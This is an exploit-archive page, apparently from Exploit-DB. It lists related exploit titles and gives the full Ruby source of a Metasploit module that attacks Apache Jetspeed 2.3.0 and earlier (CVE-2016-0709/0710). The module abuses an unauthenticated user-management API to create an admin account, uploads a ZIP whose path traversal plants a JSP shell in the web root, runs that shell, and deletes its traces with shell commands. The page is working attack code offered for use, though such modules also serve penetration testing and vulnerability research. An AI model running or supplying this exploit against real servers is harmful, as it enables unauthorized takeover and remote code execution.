
4 new exploits Apache 1.3.x mod_mylo Remote Code Execution Exploit Apache 1.3.x mod_mylo - Remote Code Execution Exploit Apache <= 1.3.31 mod_include Local Buffer Overflow Exploit Apache <= 1.3.31 mod_include - Local Buffer Overflow Exploit Sire 2.0 (lire.php) Remote File Inclusion/Arbitary File Upload Vulnerability Sire 2.0 (lire.php) - Remote File Inclusion/Arbitrary File Upload Vulnerability HP Digital Imaging (hpqxml.dll 2.0.0.133) Arbitary Data Write Exploit HP Digital Imaging (hpqxml.dll 2.0.0.133) - Arbitrary Data Write Exploit SecureBlackbox (PGPBBox.dll 5.1.0.112) Arbitary Data Write Exploit SecureBlackbox (PGPBBox.dll 5.1.0.112) - Arbitrary Data Write Exploit Kwalbum <= 2.0.2 Arbitary File Upload Vulnerability Kwalbum <= 2.0.2 - Arbitrary File Upload Vulnerability ZaoCMS (PhpCommander) Arbitary Remote File Upload Vulnerability ZaoCMS (PhpCommander) - Arbitrary Remote File Upload Vulnerability CMS Balitbang 3.3 Arbitary File Upload Vulnerability CMS Balitbang 3.3 - Arbitrary File Upload Vulnerability CMS Lokomedia 1.5 Arbitary File Upload Vulnerability CMS Lokomedia 1.5 - Arbitrary File Upload Vulnerability Apache 1.3.12 WebDAV Directory Listings Vulnerability Apache 1.3.12 - WebDAV Directory Listings Vulnerability Apache 1.3 Web Server with Php 3 File Disclosure Vulnerability Apache 1.3 Web Server with PHP 3 - File Disclosure Vulnerability NCSA 1.3/1.4.x/1.5_Apache httpd 0.8.11/0.8.14 ScriptAlias Source Retrieval Vulnerability NCSA 1.3/1.4.x/1.5_ Apache httpd 0.8.11/0.8.14 - ScriptAlias Source Retrieval Vulnerability Apache 1.3 Artificially Long Slash Path Directory Listing Vulnerability (1) Apache 1.3 Artificially Long Slash Path Directory Listing Vulnerability (2) Apache 1.3 Artificially Long Slash Path Directory Listing Vulnerability (3) Apache 1.3 Artificially Long Slash Path Directory Listing Vulnerability (4) Apache 1.3 - Artificially Long Slash Path Directory Listing Vulnerability (1) Apache 1.3 - Artificially Long Slash Path Directory Listing Vulnerability (2) Apache 1.3 - Artificially Long Slash Path Directory Listing Vulnerability (3) Apache 1.3 - Artificially Long Slash Path Directory Listing Vulnerability (4) Shareplex 2.1.3.9/2.2.2 beta - Arbitary Local File Disclosure Vulnerability Shareplex 2.1.3.9/2.2.2 beta - Arbitrary Local File Disclosure Vulnerability Apache 1.3 Possible Directory Index Disclosure Vulnerability Apache 1.3 - Possible Directory Index Disclosure Vulnerability Apache 1.0/1.2/1.3 Server Address Disclosure Vulnerability Apache 1.0/1.2/1.3 - Server Address Disclosure Vulnerability Apache 1.3/2.0.x Server Side Include Cross-Site Scripting Vulnerability Apache 1.3/2.0.x - Server Side Include Cross-Site Scripting Vulnerability sendmail 8.11.6 Address Prescan Memory Corruption Vulnerability SendMail 8.11.6 - Address Prescan Memory Corruption Vulnerability Apache 1.3.x mod_include Local Buffer Overflow Vulnerability Apache 1.3.x mod_include - Local Buffer Overflow Vulnerability Apache 1.3.x HTDigest Realm Command Line Argument Buffer Overflow Vulnerability (1) Apache 1.3.x HTDigest Realm Command Line Argument Buffer Overflow Vulnerability (2) Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow Vulnerability (1) Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow Vulnerability (2) PodHawk 1.85 - Arbitary File Upload Vulnerability PodHawk 1.85 - Arbitrary File Upload Vulnerability LibrettoCMS File Manager Arbitary File Upload Vulnerability LibrettoCMS File Manager - Arbitrary File Upload Vulnerability DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload Axway Secure Transport 5.1 SP2 - Arbitary File Upload via CSRF Axway Secure Transport 5.1 SP2 - Arbitrary File Upload via CSRF Apache Spark Cluster 1.3.x - Arbitary Code Execution Apache Spark Cluster 1.3.x - Arbitrary Code Execution Elastix 'graph.php' Local File Include Vulnerability Elastix 2.2.0 - 'graph.php' Local File Include Vulnerability MOBOTIX Video Security Cameras - CSRF Add Admin Exploit Apache OpenMeetings 1.9.x - 3.1.0 - ZIP File path Traversal Apache Jetspeed Arbitrary File Upload Wireshark - dissect_pktc_rekey Heap-based Out-of-Bounds Read
226 lines
No EOL
6.4 KiB
Ruby
Executable file
226 lines
No EOL
6.4 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Jetspeed Arbitrary File Upload',
|
|
'Description' => %q{
|
|
This module exploits the unsecured User Manager REST API and a ZIP file
|
|
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
|
|
versions, to upload and execute a shell.
|
|
|
|
Note: this exploit will create, use, and then delete a new admin user.
|
|
|
|
Warning: in testing, exploiting the file upload clobbered the web
|
|
interface beyond repair. No workaround has been found yet. Use this
|
|
module at your own risk. No check will be implemented.
|
|
},
|
|
'Author' => [
|
|
'Andreas Lindh', # Vulnerability discovery
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2016-0710'],
|
|
['CVE', '2016-0709'],
|
|
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
|
|
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
|
|
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
|
|
],
|
|
'DisclosureDate' => 'Mar 6 2016',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux', 'win'],
|
|
'Arch' => ARCH_JAVA,
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
|
|
['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(8080)
|
|
])
|
|
end
|
|
|
|
def print_status(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_warning(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Creating admin user: #{username}:#{password}")
|
|
create_admin_user
|
|
# This was originally a typo... but we're having so much fun!
|
|
print_status('Kenny Loggins in')
|
|
kenny_loggins
|
|
print_warning('You have entered the Danger Zone')
|
|
print_status("Uploading payload ZIP: #{zip_filename}")
|
|
upload_payload_zip
|
|
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
|
|
exec_jsp_shell
|
|
end
|
|
|
|
def cleanup
|
|
print_status("Deleting user: #{username}")
|
|
delete_user
|
|
super
|
|
end
|
|
|
|
#
|
|
# Exploit methods
|
|
#
|
|
|
|
def create_admin_user
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => '/jetspeed/services/usermanager/users',
|
|
'vars_post' => {
|
|
'name' => username,
|
|
'password' => password,
|
|
'password_confirm' => password
|
|
}
|
|
)
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => "/jetspeed/services/usermanager/users/#{username}",
|
|
'vars_post' => {
|
|
'user_enabled' => 'true',
|
|
'roles' => 'admin'
|
|
}
|
|
)
|
|
end
|
|
|
|
def kenny_loggins
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => '/jetspeed/login/redirector'
|
|
)
|
|
|
|
res = send_request_cgi!(
|
|
'method' => 'POST',
|
|
'uri' => '/jetspeed/login/j_security_check',
|
|
'cookie' => res.get_cookies,
|
|
'vars_post' => {
|
|
'j_username' => username,
|
|
'j_password' => password
|
|
}
|
|
)
|
|
|
|
@cookie = res.get_cookies
|
|
end
|
|
|
|
# Let's pretend we're mechanize
|
|
def import_file
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => '/jetspeed/portal/Administrative/site.psml',
|
|
'cookie' => @cookie
|
|
)
|
|
|
|
html = res.get_html_document
|
|
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
|
|
|
|
res = send_request_cgi!(
|
|
'method' => 'POST',
|
|
'uri' => import_export,
|
|
'cookie' => @cookie
|
|
)
|
|
|
|
html = res.get_html_document
|
|
html.at('//form[*//text() = "Import File"]/@action')
|
|
end
|
|
|
|
def upload_payload_zip
|
|
zip = Rex::Zip::Archive.new
|
|
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
|
|
|
|
mime = Rex::MIME::Message.new
|
|
mime.add_part(zip.pack, 'application/zip', 'binary',
|
|
%Q{form-data; name="fileInput"; filename="#{zip_filename}"})
|
|
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
|
|
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
|
|
|
|
case target['Platform']
|
|
when 'linux'
|
|
register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
|
|
register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
|
|
when 'win'
|
|
register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
|
|
register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
|
|
end
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => import_file,
|
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
|
'cookie' => @cookie,
|
|
'data' => mime.to_s
|
|
)
|
|
end
|
|
|
|
def exec_jsp_shell
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => "/jetspeed/#{jsp_filename}",
|
|
'cookie' => @cookie
|
|
)
|
|
end
|
|
|
|
#
|
|
# Cleanup methods
|
|
#
|
|
|
|
def delete_user
|
|
send_request_cgi(
|
|
'method' => 'DELETE',
|
|
'uri' => "/jetspeed/services/usermanager/users/#{username}"
|
|
)
|
|
end
|
|
|
|
# XXX: This is a hack because FileDropper doesn't delete directories
|
|
def on_new_session(session)
|
|
super
|
|
case target['Platform']
|
|
when 'linux'
|
|
print_status("Deleting user temp directory: ../temp/#{username}")
|
|
session.shell_command_token("rm -rf ../temp/#{username}")
|
|
when 'win'
|
|
print_status("Deleting user temp directory: ..\\temp\\#{username}")
|
|
session.shell_command_token("rd /s /q ..\\temp\\#{username}")
|
|
end
|
|
end
|
|
|
|
#
|
|
# Utility methods
|
|
#
|
|
|
|
def username
|
|
@username ||= Rex::Text.rand_text_alpha_lower(8)
|
|
end
|
|
|
|
def password
|
|
@password ||= Rex::Text.rand_text_alphanumeric(8)
|
|
end
|
|
|
|
def jsp_filename
|
|
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
|
|
end
|
|
|
|
def zip_filename
|
|
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
|
|
end
|
|
|
|
end |